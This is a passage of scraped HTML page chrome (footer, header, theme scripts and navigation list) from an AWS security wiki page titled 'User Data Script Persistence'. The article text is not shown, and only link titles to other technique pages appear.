6.5 6.5 2 12 2c5.3 0 9.6 4.1 10 9.3-.3-.1-.6-.2-1-.2s-.7.1-1 .2C19.6 7.2 16.2 4 12 4c-4.4 0-8 3.6-8 8 0 4.1 3.1 7.5 7.1 7.9l-.1.2z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">February 19, 2024</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Created> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M14.47 15.08 11 13V7h1.5v5.25l3.08 1.83c-.41.28-.79.62-1.11 1m-1.39 4.84c-.36.05-.71.08-1.08.08-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8c0 .37-.03.72-.08 1.08.69.1 1.33.32 1.92.64.1-.56.16-1.13.16-1.72 0-5.5-4.5-10-10-10S2 6.5 2 12s4.47 10 10 10c.59 0 1.16-.06 1.72-.16-.32-.59-.54-1.23-.64-1.92M18 15v3h-3v2h3v3h2v-3h3v-2h-3v-3z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">December 20, 2020</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Contributors> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 2A10 10 0 0 0 2 12c0 4.42 2.87 8.17 6.84 9.5.5.08.66-.23.66-.5v-1.69c-2.77.6-3.36-1.34-3.36-1.34-.46-1.16-1.11-1.47-1.11-1.47-.91-.62.07-.6.07-.6 1 .07 1.53 1.03 1.53 1.03.87 1.52 2.34 1.07 2.91.83.09-.65.35-1.09.63-1.34-2.22-.25-4.55-1.11-4.55-4.92 0-1.11.38-2 1.03-2.71-.1-.25-.45-1.29.1-2.64 0 0 .84-.27 2.75 1.02.79-.22 1.65-.33 2.5-.33s1.71.11 2.5.33c1.91-1.29 2.75-1.02 2.75-1.02.55 1.35.2 2.39.1 2.64.65.71 1.03 1.6 1.03 2.71 0 3.82-2.34 4.66-4.57 4.91.36.31.69.92.69 1.85V21c0 .27.16.59.67.5C19.14 20.16 22 16.42 22 12A10 10 0 0 0 12 2"/></svg> </span> <span>GitHub</span> <nav> <a href=https://github.com/Frichetten class=md-author title=@Frichetten> <img src="https://avatars.githubusercontent.com/u/10386884?v=4&size=72" alt=Frichetten> </a> </nav> </span> </aside> </article> </div> <script>var target=document.getElementById(location.hash.slice(1));target&&target.name&&(target.checked=target.name.startsWith("__tabbed_"))</script> </div> </main> <footer class=md-footer> <div class="md-footer-meta md-typeset"> <div class="md-footer-meta__inner md-grid"> <div class=md-copyright> Made with <a href=https://squidfunk.github.io/mkdocs-material/ target=_blank rel=noopener> Material for MkDocs Insiders </a> </div> <div class=md-social> <a href=https://infosec.exchange/@hackingthecloud target=_blank rel="noopener me" title=infosec.exchange class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M433 179.11c0-97.2-63.71-125.7-63.71-125.7-62.52-28.7-228.56-28.4-290.48 0 0 0-63.72 28.5-63.72 125.7 0 115.7-6.6 259.4 105.63 289.1 40.51 10.7 75.32 13 103.33 11.4 50.81-2.8 79.32-18.1 79.32-18.1l-1.7-36.9s-36.31 11.4-77.12 10.1c-40.41-1.4-83-4.4-89.63-54a102.5 102.5 0 0 1-.9-13.9c85.63 20.9 158.65 9.1 178.75 6.7 56.12-6.7 105-41.3 111.23-72.9 9.8-49.8 9-121.5 9-121.5m-75.12 125.2h-46.63v-114.2c0-49.7-64-51.6-64 6.9v62.5h-46.33V197c0-58.5-64-56.6-64-6.9v114.2H90.19c0-122.1-5.2-147.9 18.41-175 25.9-28.9 79.82-30.8 103.83 6.1l11.6 19.5 11.6-19.5c24.11-37.1 78.12-34.8 103.83-6.1 23.71 27.3 18.4 53 18.4 175z"/></svg> </a> <a href=https://bsky.app/profile/hackingthe.cloud target=_blank rel=noopener title=bsky.app class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </a> <a href=https://x.com/HackingthCloud target=_blank rel=noopener title=x.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253"/></svg> </a> <a href=https://www.linkedin.com/company/hacking-the-cloud/ target=_blank rel=noopener title=www.linkedin.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M416 32H31.9C14.3 32 0 46.5 0 64.3v383.4C0 465.5 14.3 480 31.9 480H416c17.6 0 32-14.5 32-32.3V64.3c0-17.8-14.4-32.3-32-32.3M135.4 416H69V202.2h66.5V416zm-33.2-243c-21.3 0-38.5-17.3-38.5-38.5S80.9 96 102.2 96c21.2 0 38.5 17.3 38.5 38.5 0 21.3-17.2 38.5-38.5 38.5m282.1 243h-66.4V312c0-24.8-.5-56.7-34.5-56.7-34.6 0-39.9 27-39.9 54.9V416h-66.4V202.2h63.7v29.2h.9c8.9-16.8 30.6-34.5 62.9-34.5 67.2 0 79.7 44.3 79.7 101.9z"/></svg> </a> <a href=https://github.com/Hacking-the-Cloud target=_blank rel=noopener title=github.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </a> <a href=https://hackingthe.cloud/feed_rss_created.xml target=_blank rel=noopener title=hackingthe.cloud class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M0 64c0-17.7 14.3-32 32-32 229.8 0 416 186.2 416 416 0 17.7-14.3 32-32 32s-32-14.3-32-32C384 253.6 226.4 96 32 96 14.3 96 0 81.7 0 64m0 352a64 64 0 1 1 128 0 64 64 0 1 1-128 0m32-256c159.1 0 288 128.9 288 288 0 17.7-14.3 32-32 32s-32-14.3-32-32c0-123.7-100.3-224-224-224-17.7 0-32-14.3-32-32s14.3-32 32-32"/></svg> </a> </div> </div> </div> </footer> </div> <div class=md-dialog data-md-component=dialog> <div class="md-dialog__inner md-typeset"></div> </div> <script id=__config type=application/json>{"base": "../../..", "features": ["navigation.tabs", "navigation.indexes", "content.action.edit"], "search": "../../../assets/javascripts/workers/search.c7c1ca2c.min.js", "translations": {"clipboard.copied": "Copied to clipboard", "clipboard.copy": "Copy to clipboard", "search.result.more.one": "1 more on this page", "search.result.more.other": "# more on this page", "search.result.none": "No matching documents", "search.result.one": "1 matching document", "search.result.other": "# matching documents", "search.result.placeholder": "Type to start searching", "search.result.term.missing": "Missing", "select.version": "Select version"}}</script> <script src=../../../assets/javascripts/bundle.203fd0bc.min.js></script> <script src=../../../javascripts/matomo.min.js></script> <script id="init-glightbox">const lightbox = GLightbox({"touchNavigation": true, "loop": false, "zoomable": true, "draggable": true, "openEffect": "zoom", "closeEffect": "zoom", "slideEffect": "slide"});
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#modify-the-user-data-script class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> User Data Script Persistence </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/whoami/ class=md-nav__link> <span 